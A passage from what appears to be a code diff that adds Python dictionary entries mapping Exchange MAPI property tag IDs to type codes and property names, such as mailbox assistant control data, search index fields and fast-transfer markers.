+        0x3436: (0x0040, None, None, 4, None, None, "MailboxLastProcessedTimestamp"),
+        0x3437: (0x0102, None, None, 4, None, None, "ControlDataForPublicFolderAssistant"),
+        0x3438: (0x0102, None, None, 4, None, None, "ControlDataForInferenceTrainingAssistant"),
+        0x3439: (0x000b, None, None, 4, None, None, "InferenceEnabled"),
+        0x343b: (0x0003, None, None, 4, None, None, "ContactLinking"),
+        0x343c: (0x0102, None, None, 4, None, None, "ControlDataForOABGeneratorAssistant"),
+        0x343d: (0x0003, None, None, 4, None, None, "ContactSaveVersion"),
+        0x3440: (0x0102, None, None, 4, None, None, "PushNotificationSubscriptionType"),
+        0x3442: (0x0102, None, None, 4, None, None, "ControlDataForInferenceDataCollectionAssistant"),
+        0x3443: (0x0102, None, None, 4, None, None, "InferenceDataCollectionProcessingState"),
+        0x3444: (0x0102, None, None, 4, None, None, "ControlDataForPeopleRelevanceAssistant"),
+        0x3445: (0x0003, None, None, 4, None, None, "SiteMailboxInternalState"),
+        0x3446: (0x0102, None, None, 4, None, None, "ControlDataForSiteMailboxAssistant"),
+        0x3447: (0x0003, None, None, 4, None, None, "InferenceTrainingLastContentCount"),
+        0x3448: (0x0040, None, None, 4, None, None, "InferenceTrainingLastAttemptTimestamp"),
+        0x3449: (0x0040, None, None, 4, None, None, "InferenceTrainingLastSuccessTimestamp"),
+        0x344a: (0x0003, None, None, 4, None, None, "InferenceUserCapabilityFlags"),
+        0x344b: (0x0102, None, None, 4, None, None, "ControlDataForMailboxAssociationReplicationAssistant"),
+        0x344c: (0x0040, None, None, 4, None, None, "MailboxAssociationNextReplicationTime"),
+        0x344d: (0x0003, None, None, 4, None, None, "MailboxAssociationProcessingFlags"),
+        0x344e: (0x0102, None, None, 4, None, None, "ControlDataForSharePointSignalStoreAssistant"),
+        0x344f: (0x0102, None, None, 4, None, None, "ControlDataForPeopleCentricTriageAssistant"),
+        0x3450: (0x0003, None, None, 4, None, None, "NotificationBrokerSubscriptions"),
+        0x3452: (0x0014, None, None, 4, None, None, "ElcLastRunTotalProcessingTime"),
+        0x3453: (0x0014, None, None, 4, None, None, "ElcLastRunSubAssistantProcessingTime"),
+        0x3454: (0x0014, None, None, 4, None, None, "ElcLastRunUpdatedFolderCount"),
+        0x3455: (0x0014, None, None, 4, None, None, "ElcLastRunTaggedFolderCount"),
+        0x3456: (0x0014, None, None, 4, None, None, "ElcLastRunUpdatedItemCount"),
+        0x3457: (0x0014, None, None, 4, None, None, "ElcLastRunTaggedWithArchiveItemCount"),
+        0x3458: (0x0014, None, None, 4, None, None, "ElcLastRunTaggedWithExpiryItemCount"),
+        0x3459: (0x0014, None, None, 4, None, None, "ElcLastRunDeletedFromRootItemCount"),
+        0x345a: (0x0014, None, None, 4, None, None, "ElcLastRunDeletedFromDumpsterItemCount"),
+        0x345b: (0x0014, None, None, 4, None, None, "ElcLastRunArchivedFromRootItemCount"),
+        0x345c: (0x0014, None, None, 4, None, None, "ElcLastRunArchivedFromDumpsterItemCount"),
+        0x345d: (0x0040, None, None, 4, None, None, "ScheduledISIntegLastFinished"),
+        0x345f: (0x0040, None, None, 4, None, None, "ELCLastSuccessTimestamp"),
+        0x3460: (0x0040, None, None, 4, None, None, "EventEmailReminderTimer"),
+        0x3463: (0x0102, None, None, 4, None, None, "ControlDataForGroupMailboxAssistant"),
+        0x3464: (0x0003, None, None, 4, None, None, "ItemsPendingUpgrade"),
+        0x3465: (0x0003, None, None, 4, None, None, "ConsumerSharingCalendarSubscriptionCount"),
+        0x3466: (0x0003, None, None, 4, None, None, "GroupMailboxGeneratedPhotoVersion"),
+        0x3467: (0x0102, None, None, 4, None, None, "GroupMailboxGeneratedPhotoSignature"),
+        0x3468: (0x0003, None, None, 4, None, None, "AadGroupPublishedVersion"),
+        0x3469: (0x001f, None, None, 4, None, None, "ElcFaiSaveStatus"),
+        0x346a: (0x001f, None, None, 4, None, None, "ElcFaiDeleteStatus"),
+        0x346b: (0x0102, None, None, 4, None, None, "ControlDataForCleanupActionsAssistant"),
+        0x346c: (0x1003, None, None, 4, None, None, "HolidayCalendarVersionInfo"),
+        0x346d: (0x0003, None, None, 4, None, None, "HolidayCalendarSubscriptionCount"),
+        0x346e: (0x0003, None, None, 4, None, None, "HolidayCalendarHierarchyVersion"),
+        0x346f: (0x0003, None, None, 4, None, None, "CalendarVersion"),
+        0x3470: (0x0102, None, None, 4, None, None, "ControlDataForDefaultViewIndexAssistant"),
+        0x3471: (0x0040, None, None, 4, None, None, "DefaultViewAssistantLastIndexTime"),
+        0x3472: (0x0102, None, None, 4, None, None, "ControlDataForAuditTimeBasedAssitantAssistant"),
+        0x3473: (0x0040, None, None, 4, None, None, "SystemCategoriesViewLastIndexTime"),
+        0x3474: (0x0102, None, None, 4, None, None, "ControlDataForComplianceJobAssistant"),
+        0x3475: (0x0102, None, None, 4, None, None, "ControlDataForGoLocalAssistant"),
+        0x3476: (0x0102, None, None, 4, None, None, "ControlDataForUserGroupsRelevanceAssistant"),
+        0x3477: (0x0040, None, None, 4, None, None, "GroupMailboxLastUsageCollectionTime"),
+        0x3478: (0x0040, None, None, 4, None, None, "EventPushReminderTimer"),
+        0x3479: (0x000b, None, None, 4, None, None, "PushReminderSubscriptionType"),
+        0x347a: (0x0102, None, None, 4, None, None, "ControlDataForHashtagsRelevanceAssistant"),
+        0x347b: (0x0102, None, None, 4, None, None, "ControlDataForSearchFeatureExtractionAssistant"),
+        0x347c: (0x0040, None, None, 4, None, None, "EventMeetingConflictTimer"),
+        0x347d: (0x0040, None, None, 4, None, None, "MentionsViewLastIndexTime"),
+        0x347e: (0x0102, None, None, 4, None, None, "O365SuiteNotificationType"),
+        0x347f: (0x0102, None, None, 4, None, None, "ControlDataForResourceUsageLoggingTimeBasedAssistant"),
+        0x3480: (0x0102, None, None, 4, None, None, "ControlDataForConferenceRoomUsageAssistant"),
+        0x3481: (0x0102, None, None, 4, None, None, "ControlDataForRetrospectiveFeaturizationAssistant"),
+        0x3482: (0x000b, None, None, 4, None, None, "ConferenceRoomUsageUpdateNeeded"),
+        0x3483: (0x0102, None, None, 4, None, None, "ControlDataForGriffinTimeBasedAssistant"),
+        0x3484: (0x0102, None, None, 4, None, None, "FeaturizerExperimentId"),
+        0x3485: (0x0102, None, None, 4, None, None, "ControlDataForPeopleInsightsTimeBasedAssistant"),
+        0x3486: (0x001f, None, None, 4, None, None, "MailboxPreferredLocation"),
+        0x3487: (0x0102, None, None, 4, None, None, "ControlDataForContentSubmissionAssistant"),
+        0x3489: (0x0102, None, None, 4, None, None, "ControlDataForPublicFolderHierarchySyncAssistant"),
+        0x348a: (0x0102, None, None, 4, None, None, "LastActiveParentEntryId"),
+        0x348b: (0x000b, None, None, 4, None, None, "WasParentDeletedItems"),
+        0x348c: (0x0003, None, None, 4, None, None, "PushSyncProcessingFlags"),
+        0x348d: (0x0102, None, None, 4, None, None, "ControlDataForSuggestedUserGroupAssociationsAssistant"),
+        0x348e: (0x0102, None, None, 4, None, None, "ControlDataForReminderSettingsAssistant"),
+        0x348f: (0x0102, None, None, 4, None, None, "ControlDataForFileExtractionTimeBasedAssistant"),
+        0x3490: (0x0102, None, None, 4, None, None, "ControlDataForMailboxDataExportAssistant"),
+        0x3491: (0x0102, None, None, 4, None, None, "ControlDataForXrmActivityStreamMaintenanceAssistant"),
+        0x3492: (0x0003, None, None, 4, None, None, "GroupMailboxSegmentationVersion"),
+        0x3493: (0x0102, None, None, 4, None, None, "ControlDataForTimeProfileTimeBasedAssistant"),
+        0x3494: (0x000b, None, None, 4, None, None, "ReactorSubscriptionCreationNeeded"),
+        0x3495: (0x0102, None, None, 4, None, None, "ControlDataForMailboxUsageAnalysisAssistant"),
+        0x3496: (0x0102, None, None, 4, None, None, "ControlDataForContactCleanUpAssistant"),
+        0x3497: (0x0102, None, None, 4, None, None, "ControlDataForGroupCalendarSubscriptionAssistant"),
+        0x3498: (0x0102, None, None, 4, None, None, "ControlDataForGriffinLightweightTimeBasedAssistant"),
+        0x3499: (0x0102, None, None, 4, None, None, "ControlDataForXrmAutoTaggingMaintenanceAssistant"),
+        0x349a: (0x0102, None, None, 4, None, None, "ControlDataForCalculatedValueTimeBasedAssistant"),
+        0x349b: (0x0102, None, None, 4, None, None, "ControlDataForSkypeContactCleanUpAssistant"),
+        0x349c: (0x0102, None, None, 4, None, None, "ControlDataForShardRelevancyAssistant"),
+        0x349d: (0x0003, None, None, 4, None, None, "MeetingLocationCacheVersion"),
+        0x349e: (0x0040, None, None, 4, None, None, "SuperFocusedViewLastIndexTime"),
+        0x34a0: (0x0102, None, None, 4, None, None, "ControlDataForCalendarFeaturizationAssistant"),
+        0x34a1: (0x0102, None, None, 4, None, None, "ControlDataForBigFunnelRetryFeederTimeBasedAssistant"),
+        0x34a2: (0x0003, None, None, 4, None, None, "MeetingLocationCacheVersionV3"),
+        0x34a3: (0x0102, None, None, 4, None, None, "ControlDataForSharingMigrationTimeBasedAssistant"),
+        0x34a4: (0x0102, None, None, 4, None, None, "ControlDataForDynamicAttachmentTimeBasedAssistant"),
+        0x34a5: (0x0102, None, None, 4, None, None, "ControlDataForSharingSyncAssistant"),
+        0x34a6: (0x0040, None, None, 4, None, None, "TailoredPropertiesViewLastIndexTime"),
+        0x34a7: (0x000b, None, None, 4, None, None, "AtpDynamicAttachmentEnabled"),
+        0x34a8: (0x0003, None, None, 4, None, None, "MailboxAssociationVersion"),
+        0x34af: (0x0102, None, None, 4, None, None, "ResourceUsageAggregate"),
+        0x34b0: (0x000b, None, None, 4, None, None, "ResourceUsageDataReady"),
+        0x34b1: (0x0040, None, None, 4, None, None, "ResourceUsageMinDateTime"),
+        0x34b2: (0x0040, None, None, 4, None, None, "ResourceUsageMaxDateTime"),
+        0x34b3: (0x0003, None, None, 4, None, None, "ResourceUsageNumberOfActivities"),
+        0x34b4: (0x0003, None, None, 4, None, None, "ResourceUsageNumberOfCallsSlow"),
+        0x34b5: (0x0003, None, None, 4, None, None, "ResourceUsageTotalCalls"),
+        0x34b6: (0x0003, None, None, 4, None, None, "ResourceUsageTotalChunks"),
+        0x34b7: (0x0003, None, None, 4, None, None, "ResourceUsageTotalCpuTimeKernel"),
+        0x34b8: (0x0003, None, None, 4, None, None, "ResourceUsageTotalCpuTimeUser"),
+        0x34b9: (0x0003, None, None, 4, None, None, "ResourceUsageTotalDatabaseReadWaitTime"),
+        0x34ba: (0x0003, None, None, 4, None, None, "ResourceUsageTotalDatabaseTime"),
+        0x34bb: (0x0014, None, None, 4, None, None, "ResourceUsageTotalLogBytes"),
+        0x34bc: (0x0003, None, None, 4, None, None, "ResourceUsageTotalPagesDirtied"),
+        0x34bd: (0x0003, None, None, 4, None, None, "ResourceUsageTotalPagesPreread"),
+        0x34be: (0x0003, None, None, 4, None, None, "ResourceUsageTotalPagesRead"),
+        0x34bf: (0x0003, None, None, 4, None, None, "ResourceUsageTotalPagesRedirtied"),
+        0x34c0: (0x0003, None, None, 4, None, None, "ResourceUsageTotalTime"),
+        0x34c1: (0x0102, None, None, 4, None, None, "ControlDataForPicwAssistant"),
+        0x34c2: (0x0014, None, None, 4, None, None, "ResourceUsageClientTypeBitmap"),
+        0x34c3: (0x0003, None, None, 4, None, None, "ConnectorConfigurationCount"),
+        0x34c4: (0x0102, None, None, 4, None, None, "ResourceUsageRollingAvgRopAggregate"),
+        0x34c5: (0x0003, None, None, 4, None, None, "ResourceUsageRollingAvgRop"),
+        0x34c6: (0x0014, None, None, 4, None, None, "ResourceUsageRollingClientTypes"),
+        0x34c7: (0x0102, None, None, 4, None, None, "ControlDataForComposeGroupSuggestionTimeBasedAssistant"),
+        0x34c8: (0x000b, None, None, 4, None, None, "HasSubstrateData"),
+        0x34c9: (0x0102, None, None, 4, None, None, "ControlDataForAddressListIndexAssistant"),
+        0x34ca: (0x0102, None, None, 4, None, None, "ControlDataForActivitySharingTimeBasedAssistant"),
+        0x34cb: (0x0102, None, None, 4, None, None, "ControlDataForShardRelevancyMultiStepAssistant"),
+        0x34cc: (0x0102, None, None, 4, None, None, "ControlDataForXrmProvisioningTimeBasedAssistant"),
+        0x34cd: (0x0102, None, None, 4, None, None, "ControlDataForSmbTenantProvisioningAssistant"),
+        0x34ce: (0x0102, None, None, 4, None, None, "ControlDataForSupervisoryReviewTimeBasedAssistant"),
+        0x34cf: (0x0102, None, None, 4, None, None, "ControlDataForMailboxQuotaAssistant"),
+        0x34d0: (0x000b, None, None, 4, None, None, "IsQuotaSetByMailboxQuotaAssistant"),
+        0x34d1: (0x0040, None, None, 4, None, None, "SuperReactClientViewLastIndexTime"),
+        0x34d2: (0x0003, None, None, 4, None, None, "FileFolderFlags"),
+        0x3500: (0x0102, None, None, 4, None, None, "ControlDataForBookingsTimeBasedAssistant"),
+        0x35d8: (0x0102, None, None, 4, None, None, "RootEntryId"),
+        0x35e1: (0x0102, None, None, 4, None, None, "IpmInboxEntryId"),
+        0x35e8: (0x0102, None, None, 4, None, None, "SpoolerQueueEntryId"),
+        0x35e9: (0x0102, None, None, 4, None, None, "ProtectedMailboxKey"),
+        0x35ea: (0x0102, None, None, 4, None, None, "SyncRootFolderEntryId"),
+        0x35eb: (0x0102, None, None, 4, None, None, "UMVoicemailFolderEntryId"),
+        0x35ed: (0x0102, None, None, 4, None, None, "EHAMigrationFolderEntryId"),
+        0x35f6: (0x0102, None, None, 4, None, None, "DeletionsFolderEntryId"),
+        0x35f7: (0x0102, None, None, 4, None, None, "PurgesFolderEntryId"),
+        0x35f8: (0x0102, None, None, 4, None, None, "DiscoveryHoldsFolderEntryId"),
+        0x35f9: (0x0102, None, None, 4, None, None, "VersionsFolderEntryId"),
+        0x35fa: (0x0102, None, None, 4, None, None, "ControlDataForBigFunnelMetricsCollectionAssistant"),
+        0x35fb: (0x0003, None, None, 4, None, None, "BigFunnelMetricsCollectionAssistantVersion"),
+        0x35fc: (0x0102, None, None, 4, None, None, "PublicFolderDiscoveryHoldsEntryId"),
+        0x35fd: (0x0102, None, None, 4, None, None, "SystemFolderEntryId"),
+        0x35ff: (0x0102, None, None, 4, None, None, "ArchiveFolderEntryId"),
+        0x361c: (0x0102, None, None, 4, None, None, "PackedNamedProps"),
+        0x3645: (0x000b, None, None, 4, None, None, "PartOfContentIndexing"),
+        0x3647: (0x0003, None, None, 4, None, None, "SearchFolderAgeOutTimeout"),
+        0x3648: (0x0003, None, None, 4, None, None, "SearchFolderPopulationResult"),
+        0x3649: (0x0102, None, None, 4, None, None, "SearchFolderPopulationDiagnostics"),
+        0x364a: (0x0003, None, None, 4, None, None, "FolderDatabaseVersion"),
+        0x364b: (0x0014, None, None, 4, None, None, "SystemMessageCount"),
+        0x364c: (0x0014, None, None, 4, None, None, "SystemMessageSize"),
+        0x364d: (0x0014, None, None, 4, None, None, "SystemMessageSizeWarningQuota"),
+        0x364e: (0x0014, None, None, 4, None, None, "SystemMessageSizeShutoffQuota"),
+        0x364f: (0x0003, None, None, 4, None, None, "TotalPages"),
+        0x3651: (0x000b, None, None, 4, None, None, "ClusterMessages"),
+        0x3652: (0x0102, None, None, 4, None, None, "MessageTenantPartitionHintForValidation"),
+        0x3653: (0x0102, None, None, 4, None, None, "BigFunnelPOIUncompressed"),
+        0x3655: (0x000b, None, None, 4, None, None, "BigFunnelPOIIsUpToDate"),
+        0x3656: (0x000b, None, None, 4, None, None, "AggressiveOportunisticPromotionForMessages"),
+        0x3657: (0x0102, None, None, 4, None, None, "BigFunnelPartialPOIUncompressed"),
+        0x3658: (0x0048, None, None, 4, None, None, "MessageMailboxGuidForValidation"),
+        0x3659: (0x0003, None, None, 4, None, None, "DatabaseSchemaVersion"),
+        0x365a: (0x0003, None, None, 4, None, None, "BigFunnelPoiNotNeededReason"),
+        0x365b: (0x000b, None, None, 4, None, None, "PerUserTrackingBasedOnImmutableId"),
+        0x365c: (0x0003, None, None, 4, None, None, "SetSearchCriteriaFlags"),
+        0x365d: (0x000b, None, None, 4, None, None, "LargeOnPageThreshold"),
+        0x3661: (0x000b, None, None, 4, None, None, "SecondaryKeyConstraintEnabled"),
+        0x3662: (0x001f, None, None, 4, None, None, "SecondaryKey"),
+        0x3663: (0x0003, None, None, 4, None, None, "BigFunnelPOIContentFlags"),
+        0x3664: (0x0102, None, None, 4, None, None, "ControlDataForInferenceClutterCleanUpAssistant"),
+        0x3665: (0x0003, None, None, 4, None, None, "BigFunnelMailboxPOIVersion"),
+        0x3666: (0x0003, None, None, 4, None, None, "BigFunnelMessageUncompressedPOIVersion"),
+        0x3669: (0x0102, None, None, 4, None, None, "ControlDataForInferenceTimeModelAssistant"),
+        0x366a: (0x0003, None, None, 4, None, None, "MailCategorizerProcessedVersion"),
+        0x368e: (0x0102, None, None, 4, None, None, "BigFunnelPOI"),
+        0x368f: (0x0003, None, None, 4, None, None, "ContentAggregationFlags"),
+        0x36bf: (0x0102, None, None, 4, None, None, "UMFaxFolderEntryId"),
+        0x36cc: (0x001f, None, None, 4, None, None, "RecoveredPublicFolderOriginalPath"),
+        0x36cd: (0x0102, None, None, 4, None, None, "PerMailboxRecoveryContainerEntryId"),
+        0x36ce: (0x0102, None, None, 4, None, None, "LostAndFoundFolderEntryId"),
+        0x36cf: (0x0102, None, None, 4, None, None, "CurrentIPMWasteBasketContainerEntryId"),
+        0x36d6: (0x0102, None, None, 4, None, None, "RemindersSearchOfflineFolderEntryId"),
+        0x36db: (0x0040, None, None, 4, None, None, "ContainerTimestamp"),
+        0x36dc: (0x0102, None, None, 4, None, None, "AppointmentColorName"),
+        0x36dd: (0x0003, None, None, 4, None, None, "INetUnread"),
+        0x36de: (0x0003, None, None, 4, None, None, "NetFolderFlags"),
+        0x36df: (0x0102, None, None, 4, None, None, "FolderWebViewInfo"),
+        0x36e0: (0x0102, None, None, 4, None, None, "FolderWebViewInfoExtended"),
+        0x36e1: (0x0003, None, None, 4, None, None, "FolderViewFlags"),
+        0x36e6: (0x001f, None, None, 4, None, None, "DefaultPostDisplayName"),
+        0x36eb: (0x0102, None, None, 4, None, None, "FolderViewList"),
+        0x36ec: (0x0003, None, None, 4, None, None, "AgingPeriod"),
+        0x36ee: (0x0003, None, None, 4, None, None, "AgingGranularity"),
+        0x36f0: (0x0003, None, None, 4, None, None, "DefaultFoldersLocaleId"),
+        0x36f1: (0x000b, None, None, 4, None, None, "InternalAccess"),
+        0x36f2: (0x0102, None, None, 4, None, None, "PublicFolderSplitStateBinary"),
+        0x36f3: (0x0102, None, None, 4, None, None, "PublicFolderHierarchySyncNotificationsFolderEntryId"),
+        0x36f4: (0x000b, None, None, 4, None, None, "IncludeInContentIndex"),
+        0x36f5: (0x0102, None, None, 4, None, None, "PublicFolderProcessorsStateBinary"),
+        0x36f6: (0x000b, None, None, 4, None, None, "SystemUse"),
+        0x36f7: (0x0048, None, None, 4, None, None, "LowLatencyContainerId"),
+        0x36f8: (0x0003, None, None, 4, None, None, "LowLatencyContainerQuota"),
+        0x3710: (0x0003, None, None, 4, None, None, "AttachmentMimeSequence"),
+        0x371c: (0x000b, None, None, 4, None, None, "FailedInboundICalAsAttachment"),
+        0x3720: (0x001f, None, None, 4, None, None, "AttachmentOriginalUrl"),
+        0x3880: (0x0102, None, None, 4, None, None, "SyncEventSuppressGuid"),
+        0x39fd: (0x101f, None, None, 4, None, None, "ListOfContactPhoneNumbersAndEmails"),
+        0x3a3f: (0x000b, None, None, 4, None, None, "SkipSynchronousDelivery"),
+        0x3a76: (0x001f, None, None, 4, None, None, "PartnerNetworkId"),
+        0x3a77: (0x001f, None, None, 4, None, None, "PartnerNetworkUserId"),
+        0x3a78: (0x001f, None, None, 4, None, None, "PartnerNetworkThumbnailPhotoUrl"),
+        0x3a79: (0x001f, None, None, 4, None, None, "PartnerNetworkProfilePhotoUrl"),
+        0x3a7a: (0x001f, None, None, 4, None, None, "PartnerNetworkContactType"),
+        0x3a7b: (0x0003, None, None, 4, None, None, "RelevanceScore"),
+        0x3a7c: (0x000b, None, None, 4, None, None, "IsDistributionListContact"),
+        0x3a7d: (0x000b, None, None, 4, None, None, "IsPromotedContact"),
+        0x3bfa: (0x101f, None, None, 4, None, None, "UserConfiguredConnectedAccounts"),
+        0x3bfe: (0x001f, None, None, 4, None, None, "OrgUnitName"),
+        0x3bff: (0x001f, None, None, 4, None, None, "OrganizationName"),
+        0x3d0b: (0x001f, None, None, 4, None, None, "ServiceEntryName"),
+        0x3d22: (0x0102, None, None, 4, None, None, "Win32NTSecurityDescriptor"),
+        0x3d23: (0x000b, None, None, 4, None, None, "NonWin32ACL"),
+        0x3d24: (0x000b, None, None, 4, None, None, "ItemLevelACL"),
+        0x3d2e: (0x0102, None, None, 4, None, None, "ICSGid"),
+        0x3d87: (0x0003, None, None, 4, None, None, "BigFunnelPostingReplicationScavengedBucketsWatermark"),
+        0x3d88: (0x0003, None, None, 4, None, None, "BigFunnelPostingListReplicationScavengedBucketsAllowed"),
+        0x3d89: (0x0040, None, None, 4, None, None, "BigFunnelLastCleanupMaintenance"),
+        0x3d8b: (0x0040, None, None, 4, None, None, "BigFunnelPostingListLastCompactionMerge"),
+        0x3d8c: (0x0102, None, None, 4, None, None, "BigFunnelAttributeVectorSharePointDataV1"),
+        0x3d8d: (0x0014, None, None, 4, None, None, "BigFunnelL1PropertyLengths2V1"),
+        0x3d8e: (0x0014, None, None, 4, None, None, "BigFunnelL1PropertyLengths1V1Rebuild"),
+        0x3d8f: (0x000b, None, None, 4, None, None, "MessageSubmittedByOutlook"),
+        0x3d90: (0x0003, None, None, 4, None, None, "BigFunnelPostingListTargetTableVersion"),
+        0x3d91: (0x0003, None, None, 4, None, None, "BigFunnelPostingListTargetTableChunkSize"),
+        0x3d92: (0x0014, None, None, 4, None, None, "BigFunnelL1PropertyLengths1V1"),
+        0x3d93: (0x0003, None, None, 4, None, None, "ScopeKeyTokenType"),
+        0x3d94: (0x0003, None, None, 4, None, None, "BigFunnelPostingListTableVersion"),
+        0x3d95: (0x0003, None, None, 4, None, None, "BigFunnelPostingListTableChunkSize"),
+        0x3d96: (0x0040, None, None, 4, None, None, "LastTableSizeStatisticsUpdate"),
+        0x3d97: (0x000b, None, None, 4, None, None, "IcsRestrictionMatch"),
+        0x3d98: (0x0102, None, None, 4, None, None, "BigFunnelPartialPOI"),
+        0x3d99: (0x0102, None, None, 4, None, None, "LargeReservedDocIdRanges"),
+        0x3d9a: (0x0048, None, None, 4, None, None, "DocIdAsImmutableIdGuid"),
+        0x3d9b: (0x0040, None, None, 4, None, None, "MoveCompletionTime"),
+        0x3d9c: (0x0102, None, None, 4, None, None, "MaterializedRestrictionSearchRoot"),
+        0x3d9d: (0x0003, None, None, 4, None, None, "ScheduledISIntegCorruptionCount"),
+        0x3d9e: (0x0003, None, None, 4, None, None, "ScheduledISIntegExecutionTime"),
+        0x3da1: (0x0102, None, None, 4, None, None, "QueryCriteriaInternal"),
+        0x3da2: (0x0040, None, None, 4, None, None, "LastQuotaNotificationTime"),
+        0x3da3: (0x000b, None, None, 4, None, None, "PropertyPromotionInProgressHiddenItems"),
+        0x3da4: (0x000b, None, None, 4, None, None, "PropertyPromotionInProgressNormalItems"),
+        0x3da5: (0x001f, None, None, 4, None, None, "VirtualParentDisplay"),
+        0x3da6: (0x0003, None, None, 4, None, None, "MailboxTypeDetail"),
+        0x3da7: (0x0102, None, None, 4, None, None, "InternalTenantHint"),
+        0x3da8: (0x000b, None, None, 4, None, None, "InternalConversationIndexTracking"),
+        0x3da9: (0x0102, None, None, 4, None, None, "InternalConversationIndex"),
+        0x3daa: (0x0102, None, None, 4, None, None, "ConversationItemConversationId"),
+        0x3dab: (0x0014, None, None, 4, None, None, "VirtualUnreadMessageCount"),
+        0x3dac: (0x000b, None, None, 4, None, None, "VirtualIsRead"),
+        0x3dad: (0x000b, None, None, 4, None, None, "IsReadColumn"),
+        0x3dae: (0x0102, None, None, 4, None, None, "PersistableTenantPartitionHint"),
+        0x3daf: (0x0102, None, None, 4, None, None, "Internal9ByteChangeNumber"),
+        0x3db0: (0x0102, None, None, 4, None, None, "Internal9ByteReadCnNew"),
+        0x3db1: (0x000b, None, None, 4, None, None, "CategoryHeaderLevelStub1"),
+        0x3db2: (0x000b, None, None, 4, None, None, "CategoryHeaderLevelStub2"),
+        0x3db3: (0x000b, None, None, 4, None, None, "CategoryHeaderLevelStub3"),
+        0x3db4: (0x0102, None, None, 4, None, None, "CategoryHeaderAggregateProp0"),
+        0x3db5: (0x0102, None, None, 4, None, None, "CategoryHeaderAggregateProp1"),
+        0x3db6: (0x0102, None, None, 4, None, None, "CategoryHeaderAggregateProp2"),
+        0x3db7: (0x0102, None, None, 4, None, None, "CategoryHeaderAggregateProp3"),
+        0x3db8: (0x0003, None, None, 4, None, None, "MailboxMoveExtendedFlags"),
+        0x3dbb: (0x0048, None, None, 4, None, None, "MaintenanceId"),
+        0x3dbc: (0x0003, None, None, 4, None, None, "MailboxType"),
+        0x3dbd: (0x0003, None, None, 4, None, None, "MessageFlagsActual"),
+        0x3dbe: (0x0102, None, None, 4, None, None, "InternalChangeKey"),
+        0x3dbf: (0x0102, None, None, 4, None, None, "InternalSourceKey"),
+        0x3dd1: (0x0048, None, None, 4, None, None, "CorrelationId"),
+        0x3e00: (0x001f, None, None, 4, None, None, "IdentityDisplay"),
+        0x3e01: (0x0102, None, None, 4, None, None, "IdentityEntryId"),
+        0x3e02: (0x0003, None, None, 4, None, None, "ResourceMethods"),
+        0x3e03: (0x0003, None, None, 4, None, None, "ResourceType"),
+        0x3e04: (0x0003, None, None, 4, None, None, "StatusCode"),
+        0x3e05: (0x0102, None, None, 4, None, None, "IdentitySearchKey"),
+        0x3e06: (0x0102, None, None, 4, None, None, "OwnStoreEntryId"),
+        0x3e07: (0x001f, None, None, 4, None, None, "ResourcePath"),
+        0x3e08: (0x001f, None, None, 4, None, None, "StatusString"),
+        0x3e0b: (0x0003, None, None, 4, None, None, "RemoteProgress"),
+        0x3e0c: (0x001f, None, None, 4, None, None, "RemoteProgressText"),
+        0x3e0d: (0x000b, None, None, 4, None, None, "RemoteValidateOK"),
+        0x3f00: (0x0003, None, None, 4, None, None, "ControlFlags"),
+        0x3f01: (0x0102, None, None, 4, None, None, "ControlStructure"),
+        0x3f02: (0x0003, None, None, 4, None, None, "ControlType"),
+        0x3f03: (0x0003, None, None, 4, None, None, "DeltaX"),
+        0x3f04: (0x0003, None, None, 4, None, None, "DeltaY"),
+        0x3f05: (0x0003, None, None, 4, None, None, "XPos"),
+        0x3f06: (0x0003, None, None, 4, None, None, "YPos"),
+        0x3f07: (0x0102, None, None, 4, None, None, "ControlId"),
+        0x3f88: (0x0014, None, None, 4, None, None, "AttachmentId"),
+        0x3f89: (0x0102, None, None, 4, None, None, "GVid"),
+        0x3f8a: (0x0102, None, None, 4, None, None, "GDID"),
+        0x3f95: (0x0102, None, None, 4, None, None, "XVid"),
+        0x3f96: (0x0102, None, None, 4, None, None, "GDefVid"),
+        0x3fc8: (0x0102, None, None, 4, None, None, "ReplicaChangeNumber"),
+        0x3fc9: (0x0102, None, None, 4, None, None, "LastConflict"),
+        0x3fd4: (0x0102, None, None, 4, None, None, "RMI"),
+        0x3fd5: (0x0102, None, None, 4, None, None, "InternalPostReply"),
+        0x3fd6: (0x0040, None, None, 4, None, None, "NTSDModificationTime"),
+        0x3fd7: (0x0003, None, None, 4, None, None, "ACLDataChecksum"),
+        0x3fd8: (0x001f, None, None, 4, None, None, "PreviewUnread"),
+        0x3fe4: (0x000b, None, None, 4, None, None, "DesignInProgress"),
+        0x3fe5: (0x000b, None, None, 4, None, None, "SecureOrigination"),
+        0x3fe8: (0x001f, None, None, 4, None, None, "AddressBookDisplayName"),
+        0x3ff2: (0x0102, None, None, 4, None, None, "RuleTriggerHistory"),
+        0x3ff3: (0x0102, None, None, 4, None, None, "MoveToStoreEntryId"),
+        0x3ff4: (0x0102, None, None, 4, None, None, "MoveToFolderEntryId"),
+        0x3ffe: (0x0003, None, None, 4, None, None, "QuotaType"),
+        0x4000: (0x0003, None, None, 4, None, None, "NewAttachment"),
+        0x4001: (0x0003, None, None, 4, None, None, "StartEmbed"),
+        0x4002: (0x0003, None, None, 4, None, None, "EndEmbed"),
+        0x4003: (0x0003, None, None, 4, None, None, "StartRecip"),
+        0x4004: (0x0003, None, None, 4, None, None, "EndRecip"),
+        0x4005: (0x0003, None, None, 4, None, None, "EndCcRecip"),
+        0x4006: (0x0003, None, None, 4, None, None, "EndBccRecip"),
+        0x4007: (0x0003, None, None, 4, None, None, "EndP1Recip"),
+        0x4008: (0x001f, None, None, 4, None, None, "DNPrefix"),
+        0x4009: (0x0003, None, None, 4, None, None, "StartTopFolder"),
+        0x400a: (0x0003, None, None, 4, None, None, "StartSubFolder"),
+        0x400b: (0x0003, None, None, 4, None, None, "EndFolder"),
+        0x400c: (0x0003, None, None, 4, None, None, "StartMessage"),
+        0x400d: (0x0003, None, None, 4, None, None, "EndMessage"),
+        0x400e: (0x0003, None, None, 4, None, None, "EndAttachment"),
+        0x400f: (0x0003, None, None, 4, None, None, "EcWarning"),
+        0x4010: (0x0003, None, None, 4, None, None, "StartFAIMessage"),
+        0x4011: (0x0102, None, None, 4, None, None, "NewFXFolder"),
+        0x4012: (0x0003, None, None, 4, None, None, "IncrSyncChange"),
+        0x4013: (0x0003, None, None, 4, None, None, "IncrSyncDelete"),
+        0x4014: (0x0003, None, None, 4, None, None, "IncrSyncEnd"),
+        0x4015: (0x0003, None, None, 4, None, None, "IncrSyncMessage"),
+        0x4016: (0x0003, None, None, 4, None, None, "FastTransferDelProp"),
+        0x4017: (0x0102, None, None, 4, None, None, "IdsetGiven"),
+        0x4018: (0x0003, None, None, 4, None, None, "FastTransferErrorInfo"),
